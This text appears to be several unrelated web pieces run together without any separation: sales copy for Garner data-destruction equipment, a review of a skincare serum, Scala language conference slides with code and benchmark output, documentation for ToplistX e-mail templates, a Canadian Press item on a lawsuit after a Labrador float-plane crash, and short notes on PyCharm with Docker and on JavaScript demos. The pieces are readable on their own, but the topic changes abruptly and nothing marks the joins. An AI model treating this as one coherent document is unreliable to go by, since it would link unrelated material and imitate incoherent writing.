This phenomenon occurs in much the same way a compass needle points in the direction of the Earth's magnetic field. Degaussing, commonly called erasure, leaves the domains in random patterns with no preference to orientation, thereby rendering previous data unrecoverable.
There are some domains whose magnetic alignment is not randomized after degaussing. The information these domains represent is commonly called magnetic remanence or remanent magnetization.
A well designed degaussing system will ensure there is insufficient magnetic remanence to reconstruct the data.
Unlike magnetic storage devices such as hard disk drives and tape, data on solid-state drives (SSD), USB sticks & "thumb" drives is stored electrically, and cannot be erased using a magnetic degausser.
Data on these devices can only be eliminated by inflicting sufficient physical damage to the device, that prevents any possibility of data recovery.
This is achieved by either puncturing the device at small physical intervals, thereby inflicting damage to each data cell (a typical solid state storage device consists of a collection of such cells logically aggregated as a single device), or by complete shredding of the device, ensuring irreversible data destruction.
Garner designs, manufactures, and sells equipment that delivers complete, permanent, and verifiable data elimination. Garner products ensure your data is unrecoverable. Founded more than 50 years ago, Garner serves government and business customers from every industry sector in countries around the world, providing time-tested solutions for permanent data security of working and nonworking hard drives, magnetic tape, and solid-state media through products that include:
- Independently tested and certified degaussing equipment that completely eliminates all data on magnetic tapes, hard drives, and even old floppy disks by altering the media’s magnetic properties
- NSA/CSS EPL-listed destruction equipment that bends, breaks and mangles hard drives deterring any attempt to recover data
- Patented solid-state destroyer with 90 spikes to puncture, perforate, and waffle media, demolishing the individual memory chips so data cannot be retrieved.
Garner offers equipment rental and data destruction services for small businesses, economical degaussers and destroyers for small- to mid-size companies, and NSA/CSS EPL-listed equipment that meets the data security requirements of multinational enterprises, government contractors and the United States government.
Garner has worked for more than half a century designing and improving its line of degaussers and destroyers. Garner's products have been tested and certified by independent labs to meet safety and electromagnetic emissions standards worldwide.
Click here to visit the Garner website (Opens in a new page)


This Serum (by Meghan Markle’s Facialist) is Indulgent and Glow Enhancing
by Sophie BewSarah Chapman’s hardworking serum doesn’t scrimp on the romance of pampering – and packs in ingredients that boost radiance and brightness, for an undeniable glow
From the niche new beauty brands doing something different, to the industry’s evergreen icons, Sophie Bew opens up AnOther’s dream vanity in a new series …
- Who should use it? Skincare-savvy shoppers who want one all-singing all-dancing serum
- How long until I love it? One use
- How planet-/people-friendly is it? No parabens, no animal testing but not easily recyclable packaging
- How do I use it? A couple of pumps in the palm should then be massaged into skin
There are a million serums – but while I ply my face with many of them gleefully there are only a few that really sing on one’s skin. Sarah Chapman’s Platinum Stem Cell Elixir is one of those rarefied few. Of course, this is perhaps unsurprising given that Chapman gave Meghan Markle that glow on her somewhat documented wedding day – this is what she’s known for. But back to the product. Firstly, there’s the texture: a slippery serum – like they should be – that sinks straight in but with the plump finish of a divine oil. This is in no doubt thanks to the sumptuous GLA omega fatty acids involved, derived from plants.
Which brings us to the other cosmeceutical active ingredients – because this little lotion is loaded with them. There are the botanical stem cells of its namesake; they boast antioxidant effects, proven to protect skin stem cells from UV-induced oxidative stress, inhibit inflammation, neutralise free radicals and reverse the effects of photoageing, as well as reverse some UV-induced damage. Then there’s collagen-boosting peptides, a specially formulated time-release vitamin A to reduce signs of ageing, vitamin C to boost radiance and brightness. It’s one very hardworking cocktail of glow-enhancing deliciousness.
But there’s also the intoxicating white floral scent – orange blossom, tuberose and jasmine – though I would argue that this isn’t the icing on the cake, it’s in fact the narrative arc of the whole shebang. Because this heady fragrance, combined with the formula’s texture and potent effects makes for a 360-degree indulgent experience. Unlike many excellent, expert-driven science-heavy brands, this item isn’t scrimping on the romance of pampering. And in this new age silver, light- and air-proof pump, it’s also rather chic.


layout:true class: inverse background-image: url(originate.png) --- class: center, middle # What is new since
“Programming in Scala” Marconi Lanna .originate[Originate] --- # Programming in Scala Martin Odersky, Lex Spoon, Bill Venners .column[![Programming in Scala 1st Ed](pis1ed.png) December 10, 2008
Scala 2.7.2] .column[![Programming in Scala 2nd Ed](pis2ed.png) December 13, 2010
Scala 2.8.1] --- # Scala timeline -- * 2003: 0.8, 0.9 -- * 2004: 1.0, 1.1, 1.2, 1.3 -- * 2005: 1.4 -- * 2006: 2.0, 2.1, 2.2, 2.3 -- * `scalac` written in Scala -- * 2007: 2.4, 2.5, 2.6 -- * Lift -- * 2008: 2.7 -- * 2010: 2.8 -- * Play 1.1: Scala support via plug-in -- * Akka -- * 2011: 2.9 -- * Typesafe -- * 2012 -- * Play 2.0: native Scala -- * 2013: 2.10 -- * 2014: 2.11 -- * 2016: 2.12 --- # What was new in Scala 2.8 -- > “A huge number of bug fixes with respect to 2.7.7, and an impressive amount of new features.” > > _Scala 2.8.0 Release Notes_ -- * Redesigned collection library (`CanBuildFrom`) -- * Named and default parameters -- * `copy` methods for case classes -- * Package objects -- * Nested annotations -- * Type specialization (boxed primitives) -- * `JavaConverters` * _Explicit_ implicit Java <-> Scala conversions: `asScala` and `asJava` -- * Revamped REPL * Enhanced tab-completion * Searchable history (`Ctrl-R`) -- * Scaladoc 2 * New look-and-feel * Wiki-like syntax -- * Binary compatibility (*for minor revisions*) --- class: center, middle # What is new in
Scala 2.9, 2.10, 2.11 --- class: center, middle ![](sf1.png) --- name: app # `DelayedInit` and the `App` trait (2.9) -- ```scala object Hello extends Application { println("hello, world") } ``` -- Not thread safe, not optimized by the JVM. -- ```scala object Hello extends App { println("hello, world") } ``` -- Command line arguments accessible via `val args`. --- template: app ```scala import System.{currentTimeMillis => now} object application extends Application { val n = 4 * 1000 * 1000 val start = now var sum = 0L for (i <- 1 to n) sum += i val middle = now sum = 0L for (i <- 1 to n) sum += i val end = now println("application results:") println("1st run: " + (middle-start) + "ms") println("2nd run: " + (end-middle) + "ms") } ``` --- template: app ```scala import System.{currentTimeMillis => now} object app extends App { val n = 4 * 1000 * 1000 val start = now var sum = 0L for (i <- 1 to n) sum += i val middle = now sum = 0L for (i <- 1 to n) sum += i val end = now println("app results:") println("1st run: " + (middle-start) + "ms") println("2nd run: " + (end-middle) + "ms") } ``` --- template: app ``` application results: 1st run: 6514ms 2nd run: 7249ms ``` -- ``` app results: 1st run: 7ms 2nd run: 5ms ``` --- template: app ```scala object application2 extends Application { val n = 4 * 1000 * 1000 val start = now var i, sum = 0L while (i < n) { i += 1 sum += i } val middle = now i = 0L sum = 0L while (i < n) { i += 1 sum += i } val end = now println("application2 results:") println("1st run: " + (middle-start) + "ms") println("2nd run: " + (end-middle) + "ms") } ``` --- template: app ```scala object app2 extends App { val n = 4 * 1000 * 1000 val start = now var i, sum = 0L while (i < n) { i += 1 sum += i } val middle = now i = 0L sum = 0L while (i < n) { i += 1 sum += i } val end = now println("app2 results:") println("1st run: " + (middle-start) + "ms") println("2nd run: " + (end-middle) + "ms") } ``` --- template: app .column[`for` ``` application results: 1st run: 6514ms 2nd run: 7249ms ``` ``` app results: 1st run: 7ms 2nd run: 5ms ```] -- .column[`while` ``` application2 results: 1st run: 45ms 2nd run: 41ms ``` ``` app2 results: 1st run: 8ms 2nd run: 3ms ```] --- # `Range.foreach` optimization (2.10) -- > “Makes code like > ```scala > 0 to 100 foreach (x += _) > ``` > as fast as (often faster than, in fact) a while loop.” > > _Paul Phillips_, Git commit message --- name: par # Parallel collections (2.9) -- > “An effort to facilitate parallel programming by sparing users from low-level parallelization details, meanwhile providing them with a familiar and simple high-level abstraction.” -- Efficient and transparent: `collection.par` and `collection.seq`. -- Simply invoke the `par` method on the sequential collection and use the parallel collection in the same way one would normally use a sequential collection. -- Depending on the collection, `par` may be a constant time operation with the underlying dataset is shared between sequential and parallel collections. -- `seq` is always O(1). -- .column[ * `Array` * `Iterable` * `Map` * `Range`] .column[ * `Seq` * `Set` * `Trie` (2.10) * `Vector`] --- template: par * Concurrent, out-of-order semantics. -- * The order in which functions are applied to the elements is arbitrary. -- * Side effects are prone to race conditions. -- * Side effects and non-associative operations can lead to non-determinism. -- * Non-commutative operations, however, are deterministic. -- Associative and commutative: addition ```scala (1 + 2) + 3 == 1 + (2 + 3) == (2 + 1) + 3 // Works ``` -- Associative, non-commutative: string concatenation ```scala ("a" + "b") + "c" == "a" + ("b" + "c") != ("b" + "a") + "c" // Works ``` -- Non-associative: subtraction ```scala (1 - 2) - 3 != 1 - (2 - 3) != (2 - 1) - 3 // Does not work ``` Just so happens to also be non-commutative --- template: par ```scala import System.{currentTimeMillis => now} import scala.util.Random object seq extends App { val n = 50 * 1000 * 1000 val max = 2 * n def random = Random nextInt max val col = Vector.fill(n)(random) val target = random val start = now col.count(math.sqrt(_) == target) val middle = now col.count(math.sqrt(_) == target) val end = now println("seq results:") println("1st run: " + (middle-start) + "ms") println("2nd run: " + (end-middle) + "ms") } ``` --- template: par ```scala import System.{currentTimeMillis => now} import scala.util.Random object par extends App { val n = 50 * 1000 * 1000 val max = 2 * n def random = Random nextInt max val col = Vector.fill(n)(random).par val target = random val start = now col.count(math.sqrt(_) == target) val middle = now col.count(math.sqrt(_) == target) val end = now println("par results:") println("1st run: " + (middle-start) + "ms") println("2nd run: " + (end-middle) + "ms") } ``` --- template: par ``` seq results: 1st run: 431ms 2nd run: 416ms ``` -- ``` par results: 1st run: 116ms 2nd run: 104ms ``` --- # Generalized try-catch-finally (2.9) -- Reusable exception handling. -- ```scala try body catch handler finally cleanup ``` Where `body` and `cleanup` are arbitrary expressions, and `handler` is a `PartialFunction[Throwable, T]`. -- ```scala import scala.util.control.NonFatal val defaultHandler: PartialFunction[Throwable, Unit] = { case NonFatal(t) => println(t) } try 1 / 0 catch defaultHandler try "a".toInt catch defaultHandler ``` --- class: center, middle # Pretty awesome! --- class: center, middle # Pretty useless! --- # No exceptions! -- Thou shall not use exceptions in thy code. -- Exceptions are not functional! -- Functions that throw exceptions are not total functions. -- They do not return a value for all possible inputs. -- Do not `try` to `catch` exceptions. -- `Try` to catch exceptions! --- name: try # Error handling with `Try` (2.10) -- > “`Try` represents a computation that may either result in an exception, or return a successfully computed value.” -- `Try` does for exceptions what `Option` does for `null`. -- `Try` is used to perform operations without the need to do explicit exception-handling in all places that an exception might occur. -- Instances of `Try[T]` are either `Success[T]` or `Failure[T]`. -- Only non-fatal exceptions are caught. System errors are thrown. -- * `map` * `flatMap` -- * `recover` * `recoverWith` -- * `filter` * `getOrElse` * `toOption` --- template: try ```scala def div(x: String, y: String): Try[Int] = { for { a <- Try(x.toInt) b <- Try(y.toInt) } yield a / b } ``` -- ```scala div("a", "0") // Failure(java.lang.NumberFormatException: For input string: "a") ``` -- ```scala div("1", "b") // Failure(java.lang.NumberFormatException: For input string: "b") ``` -- ```scala div("1", "0") // Failure(java.lang.ArithmeticException: / by zero) ``` -- ```scala assert(div("1", "0").toOption == None) assert(div("1", "0").getOrElse(-1) == -1) assert(div("42", "3").get == 14) ``` --- class: center, middle # Value classes, implicit classes,
and extension methods (2.10) --- # Implicit classes (2.10) -- A more convenient syntax for defining extension methods. -- Implicit classes have a primary constructor with exactly one parameter. -- ```scala implicit class A(n: Int) { def x = ??? def y = ??? } ``` -- They are desugared into a class and an implicit method pairing. -- ```scala class A(n: Int) { ... } implicit def A(n: Int) = new A(n) ``` -- Case classes cannot be implicit. -- ```scala implicit class IntOps(n: Int) { def stars = "*" * n } assert(5.stars == "*****") ``` --- # Value classes (2.10) -- Value classes are used to avoid object allocation. (_Conditions apply_) -- The type safety of custom data types without the runtime overhead. -- Ex.: `Celsius`, `Fahrenheit`, `Weight`, `Height`, `FirstName`, `Email`, `Age` etc. -- Only a primary constructor with exactly one `val` parameter. -- Only methods (`def`). No `var`, `val`, `lazy val`, nested classes, traits, or objects. -- May not define `equals` or `hashCode` methods. -- Cannot be extended by another class. -- ``` case class Age(age: Int) extends AnyVal val age = Age(18) ``` -- At compile time `age` is of type `Age`, but at runtime it is an `Int`. -- ```scala age + 1 // error: type mismatch ``` --- # Extension methods (2.10) -- Value classes and implicit classes can be combined to produce allocation-free extension methods. -- Equivalent to using an object with static helper methods. -- A simple mechanical transformation performed by the compiler. -- .column[```scala implicit class IntOps(n: Int) { def stars = "*" * n } 5.stars // equivalent to new IntOps(5).stars ```] -- .column[```scala implicit class IntOps(val n: Int) extends AnyVal { def stars = "*" * n } 5.stars // equivalent to object IntOps { def stars(n: Int) = "*" * n } IntOps.stars(5) ```] --- name: interpol # String interpolation (2.10) -- ```scala val name = "world" assert(s"hello, $name" == "hello, world") ``` -- Supports arbitrary expressions: -- ```scala assert(s"${2 + 2} = 4" == "4 = 4") ``` -- Works with triple quotes: -- ```scala s"""Dear $victim, I am $name, the only $heir of late $deceased. My $relative was a very wealthy $occupation in $location, the economic capital of $country before he was $cause to death by $murderer. Before the death of my $relative on $date, he secretly told me that he has a sum of $value left in a suspense account in a local Bank here in $country.""" ``` -- ```scala val a = 0.02 assert(s"US$$$a" == "US$0.02") ``` --- template: interpol Formatted strings: -- ```scala assert(f"${math.Pi}%.2f" == "3.14") ``` -- The `f` interpolator is typesafe: -- ```scala f"${math.Pi}%d" // error: type mismatch; // found : Double // required: Int ``` -- At _compile_ time! -- Custom interpolators: -- ```scala sql"insert into City(name, country) values ($name, $country)" json"""{ "foo" : $foo, "bar" : $bar }""" ``` --- name: future # `Futures` and `Promises` (2.10, 2.9.3) -- `Future` is a way to perform many operations in parallel in an efficient and non-blocking (asynchronous) way. -- `Future` is a placeholder for a result that does not yet exist, but which may become available at some point. -- Callbacks (`onComplete`, `onSuccess`, `onFailure`) are executed **eventually**. -- The order in which callbacks are executed is not deterministic. -- Callbacks may not be called sequentially, but execute concurrently (at the same time). -- Futures can be combined and transformed with `map`, `flatMap`, `recover`, `recoverWith`, `filter`, `foreach`, `andThen`, `collect`, `fallbackTo`, etc. and used in for-comprehensions. --- template: future ```scala def f(tag: String, ms: Int) = Future { println(s"$tag started") Thread.sleep(ms) println(s"$tag ended") tag } ``` --- template: future .column[ ```scala for { a <- f("a", 500) b <- f("b", 300) c <- f("c", 200) } yield a + b + c ```] -- .column[``` a started a ended b started b ended c started c ended ```] -- .column[ ```scala val fa = f("a", 500) val fb = f("b", 300) val fc = f("c", 200) for { a <- fa b <- fb c <- fc } yield a + b + c ```] -- .column[``` a started c started b started c ended b ended a ended ```] --- template: future `Future` is a read-only placeholder for a result which does not yet exist. -- `Promise` is a writable, single-assignment container which completes a `Future`. -- ```scala val p = Promise[Int] val f = p.future assert(!f.isCompleted) p success 42 assert(f.isCompleted) ``` -- `Future.sequence` converts a `Seq[Future[T]]` to a `Future[Seq[T]]`. --- # `Dynamic` trait (2.10) -- Syntax sugar. A simple mechanical transformation performed by the compiler. -- It is not any sort of “_dynamic_” type; it is not any sort of “_optional_” static typing. -- Enable flexible DSLs and convenient interfacing with dynamic languages and data formats like JSON. -- Extend `Dynamic` and implement at least one of the following methods: * `applyDynamic` * `applyDynamicNamed` * `selectDynamic` * `updateDynamic` -- ```scala foo.bar -> foo.selectDynamic("bar") foo.bar = 42 -> foo.updateDynamic("bar")(42) foo.bar(0) = 42 -> foo.selectDynamic("bar").update(0, 42) foo.bar("baz") -> foo.applyDynamic("bar")("baz") foo.bar(baz = "qux") -> foo.applyDynamicNamed("bar")(("baz", "qux")) foo.bar(baz = 1, 2) -> foo.applyDynamicNamed("bar")(("baz", 1), ("", 2)) ``` --- # Akka actors (2.10) -- Since Scala 2.10, Akka is the default actor library. -- The legacy Scala Actors library is deprecated in 2.11. -- Please refer to “The Scala Actors Migration Guide” for details :-) --- # Modularization (2.10) -- Some of the more advanced language features have to be explicitly enabled. -- `import language.X` -- * `dynamics` * `existentials` * `higherKinds` * `implicitConversions` * `postfixOps` * `reflectiveCalls` * `experimental.macros` -- `scalac -language:dynamics` -- To enable all features: `import language._` or `scalac -language:_` -- `implicitConversions` is only needed when _defining_ new implicit conversions. -- Not needed to use existing conversions. -- Not needed to define implicit classes. --- name: macro # Reflection, macros, and quasiquotes (2.10, experimental) --- class: center, middle ![](sf2.png) --- template: macro -- Metaprogramming: programs that modify themselves at compile time. -- Code generation and advanced DSLs. -- Compile-time (macros) and runtime reflection. -- Scala specific elements are unavailable under the Java reflection API: functions, traits, generics, existential, higher-kinded, path-dependent and abstract types, etc. -- Reified Scala expressions. --- template: macro Quasiquotes (2.11) are a _significantly simplified_ notation to manipulate Scala syntax trees with ease. -- ```scala q"foo + bar" ``` -- ```scala assert(q"foo + bar" equalsStructure q"foo.+(bar)") ``` -- Quasiquotes can be decomposed via pattern matching: -- ```scala val q"$foo + $bar" = q"1 + 2 * 3" assert(foo equalsStructure q"1") assert(bar equalsStructure q"2*3") assert(bar equalsStructure q"2.$$times(3)") ``` --- template: macro ```scala if (Logger.enabled) Logger.log("We have a problem") ``` -- ```scala log("We have a problem") ``` -- ```scala def log(msg: String): Unit = macro logImpl ``` -- ```scala def logImpl(c: Context)(msg: c.Expr[String]): c.Expr[Unit] = { import c.universe._ q""" if (Logger.enabled) Logger.log($msg) """ } ``` --- template: macro **Play JSON API** -- ```scala case class ABC(a: Int, b: String, c: Boolean) implicit val xfmt = Json.format[ABC] toJson(), fromJson() ``` -- * Type safe * No runtime reflection * No bytecode enhancement -- **Scala Pickling** -- “A fast, boilerplate-free, automatic serialization framework for Scala supporting different serialization formats” -- ```scala val pckl = List(1, 2, 3, 4).pickle val lst = pckl.unpickle[List[Int]] ``` --- # Case classes with more than 22 parameters (2.11) -- ```scala case class Alphabet( a: Int, b: Int, c: Int, d: Int, e: Int , f: Int, g: Int, h: Int, i: Int, j: Int , k: Int, l: Int, m: Int, n: Int, o: Int , p: Int, q: Int, r: Int, s: Int, t: Int , u: Int, v: Int, w: Int, x: Int, y: Int , z: Int) Alphabet( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 , 10, 11, 12, 13, 14, 15, 16, 17, 18, 19 , 20, 21, 22, 23, 24, 25) ``` --- # New methods in collections -- Non-exhaustive list: -- * Iterator * `span` (2.9) * Option * `filterNot` (2.9) * `flatten`, `fold`, `forall`, `nonEmpty` (2.10) * `contains` (2.11) * Seq * `permutations` (2.9) * SeqLike * `combinations` (2.9) * mutable.SeqLike * `transform` (2.9) * SetLike * `subsets` (2.9) * Traversable * `inits`, `tails`, `unzip3` (2.9) * TraversableOnce * `collectFirst`, `maxBy`, `minBy` (2.9) --- name: sbt # sbt incremental compilation (2.11) --- class: center, middle ![](sf3.png) --- template: sbt sbt 0.13.2 -- ``` incOptions := incOptions.value.withNameHashing(true) ``` -- Anecdotal evidence * I've measured compilation speed improvements from 25% to 80% -- * The bigger the project, the better the improvement -- * Your mileage may vary --- # `Predef.???` (2.10) -- Placeholder for methods not yet implemented. -- Useful for TDD, code samples, presentations, blogs, implementing abstract methods in a rush... -- ```scala object A { def x: Int = ??? } A.x // scala.NotImplementedError: an implementation is missing ``` --- # REPL colors (2.11.4) -- `scala -Dscala.color` -- ![](repl.png) --- # 2.12 and beyond: what is in Scala future? -- * Java 8 support (2.12) -- * Java 8-style closures & lambdas using method handles -- * Java streams and functional interfaces -- * `@interface` traits -- * Seamless bidirectional interoperability -- * Java 8+ only -- * SIP-20: Improved lazy vals initialization --- class: center, middle ![](sf4.png) --- # 2.12 and beyond: what is in Scala future? * Java 8 support (2.12) * Java 8-style closures & lambdas using method handles * Java streams and functional interfaces * `@interface` traits * Seamless bidirectional interoperability * Java 8+ only * SIP-20: Improved lazy vals initialization -- * SIP-21: Spores: safer closures for concurrent and distributed environments -- * SIP-22: `async` & `await` -- * Collections library cleanup and simplification -- * `scala.meta` -- * Compiler-based code style checker -- * Deprecations: -- * Procedure syntax: `def a {...}` -- * XML literals -- * XML string interpolation -- * `scala.swing` and `scala.util.continuations` -- * Scala.js -- * Scala compiler forks: Dotty (EPFL), Typelevel, Policy (Paul Phillips), ... --- class: center, middle ![](sf5.png) --- # References * **[github.com/marconilanna/LambdaConf2015](https://github.com/marconilanna/LambdaConf2015)** * **[blog.originate.com](http://blog.originate.com/)** -- * [Scala 2.8.0 Release Notes](http://www.scala-lang.org/node/7009) * [Scala 2.9.0 Release Notes](http://www.scala-lang.org/node/9483) * [Scala 2.10.0 Release Notes](http://www.scala-lang.org/download/changelog.html) * [Scala 2.11.0 Release Notes](http://www.scala-lang.org/news/2.11.0) * [Scala 2.12 Roadmap](http://www.scala-lang.org/news/2.12-roadmap) * [Scala Documentation](http://docs.scala-lang.org/) * [Scala Improvement Process](http://docs.scala-lang.org/sips/) * [Parallel Collections](http://docs.scala-lang.org/overviews/parallel-collections/overview.html) * [Implicit Classes](http://docs.scala-lang.org/overviews/core/implicit-classes.html) * [Value Classes](http://docs.scala-lang.org/overviews/core/value-classes.html) * [String Interpolation](http://docs.scala-lang.org/overviews/core/string-interpolation.html) * [Futures and Promises](http://docs.scala-lang.org/overviews/core/futures.html) * [The Scala Actors Migration Guide](http://docs.scala-lang.org/overviews/core/actors-migration-guide.html) * [Reflection](http://docs.scala-lang.org/overviews/reflection/overview.html) * [Macros](http://docs.scala-lang.org/overviews/macros/overview.html) * [Quasiquotes](http://docs.scala-lang.org/overviews/quasiquotes/intro.html) * [Range.foreach optimization](https://github.com/scala/scala/commit/4cfc633fc6cb2ab0f473c2e5141724017d444dc6) -- Thank you! Questions?


This demo is a small example where we are loading in the
ReflowRejector class and initializing it with our own optional configuration.
It will then create a set of X divs and anchor tags and on an interval
change the left margin of the parent container. With each interval we will
also calculate the offsetLeft of the anchor element and validate
that the alert dialog is triggered as expected


The e-mail templates are the templates that control the content of the e-mail messages that will be sent to your users when their accounts are processed, if they need to reset their account password, etc. This document will give you an overview of the variables available in each of the e-mail templates.
Editing E-mail Templates
To edit the e-mail templates access the Templates > E-mail Messages function from the control panel menu. This will display a page where you can select which template you want to edit. Once you have selected the template you want to edit, press the Load Template button. You will be returned to the same page, but there will now be three fields that you will need to fill in:
| Subject | The full subject of the e-mail message |
| Text Body | The text body of the e-mail message. This message will be displayed for users that have text-only e-mail readers. |
| HTML Body |
The HTML body of the e-mail message. This message will be displayed for users that have HTML capable e-mail readers. TIP: Click on the icon to automatically convert the text body to HTML format. |
Templates and Their Variables
This section will describe all of the available templates and the variables you can use within each template.
-
Rejection E-mails
Any rejection e-mails you have setup through the control panel
-
{$config} - The ToplistX configuration settings; see the Common Variables section for details
{$account} - The account data; see the Common Variables section for details
email-account-added.tpl
This e-mail message is sent to account submitters when their account has been added to the database
-
{$config} - The ToplistX configuration settings; see the Common Variables section for details
{$account} - The account data; see the Common Variables section for details
email-account-confirm.tpl
This e-mail message is sent to an account submitter when their submission must be confirmed by e-mail
-
{$config} - The ToplistX configuration settings; see the Common Variables section for details
{$account} - The account data; see the Common Variables section for details
{$confirm_url} - The URL the user will need to visit to confirm their account
email-account-password-confirm.tpl
This e-mail message is sent to an account when they request that their password be reset
-
{$config} - The ToplistX configuration settings; see the Common Variables section for details
{$account} - The account data; see the Common Variables section for details
{$confirm_id} - The confirmation ID that must be present in the confirmation URL
email-account-password-confirmed.tpl
This e-mail message is sent to an account containing their username and password when they reset their password
-
{$config} - The ToplistX configuration settings; see the Common Variables section for details
{$account} - The account data; see the Common Variables section for details
email-account-pending.tpl
This e-mail message is sent to account submitters when their account has been submitted but is awaiting approval
-
{$config} - The ToplistX configuration settings; see the Common Variables section for details
{$account} - The account data; see the Common Variables section for details
email-admin-account-added.tpl
This e-mail message is sent administrators when a new account is added
-
{$config} - The ToplistX configuration settings; see the Common Variables section for details
{$account} - The account data; see the Common Variables section for details


Quebec airline president says damage claims are part of the aviation business
ST. JOHN'S, N.L. — The president of a Quebec airline being sued by the family of a crash victim says such claims come with the business of running an airline.
by Canadian PressST. JOHN'S, N.L. — The president of a Quebec airline being sued by the family of a crash victim says such claims come with the business of running an airline.
Jean Tremblay, president of Air Saguenay, says he anticipated damage claims would be filed from families of the seven men who perished when one of his company's float planes crashed into a Labrador lake last July.
The wreckage was never recovered from Mistastin Lake, and a Transportation Safety Board of Canada investigation never determined the cause of the crash.
A statement of claim filed last week in Newfoundland and Labrador Supreme Court by the family of one man alleges negligence and breach of contractual duties to the victim, who had been working as a fishing guide on the trip to Mistastin Lake.
Tremblay says he was a little surprised by the negligence allegations, which have not been tested in court, saying his airline followed regulations with an experienced pilot and a recently inspected aircraft.
He says he sees the process as an insurance negotiation rather than a legal battle and expressed hope that the claim can be resolved in the best possible way given the tragic circumstances.
This report by The Canadian Press was first published Nov. 21, 2019.
The Canadian Press


Async Javascript
Callbacks, Promises, Async/Await
Name
Andreas Schacht
Company
kaliber5
Job title
Web Developer
Email
<EMAIL_ADDRESS>Thank you


Open Pycharm and go to ‘Preferences->Build Execution and Deployment->Docker’
Click on ‘+’ to add a new docker connection
Click ‘OK’ to exit the window
Create a new 'Pure Python' project in Pycharm
After opening the project in Pycharm you should be able to see the docker connection in the ‘Services’ window.
Click on the 'Connect' button to connect to docker.
You will be able to see all the images and containers in the local machine.
Add a Dockerfile to the project with following information
FROM python:3
ADD main.py /
CMD [ "python", "./main.py" ]
Click on the button on the top left corner of the Docker File and select ‘Build Image for Docker’ to build an image from this Dockerfile.
You can see the new image in services window .
Once the build is complete click on ‘Run Dockerfile’ .
Go to the Attached Console and you should be able to see the output from the python code in main.py file


Move your mouse around the screen (or touch the screen on a mobile device) to see the handlers run
red() is scheduled to run every 3 seconds while the page is in use
blue() is scheduled to run every 5 seconds while the page is in use
green() is scheduled to run every 7 seconds but will only run a maximum of 4 times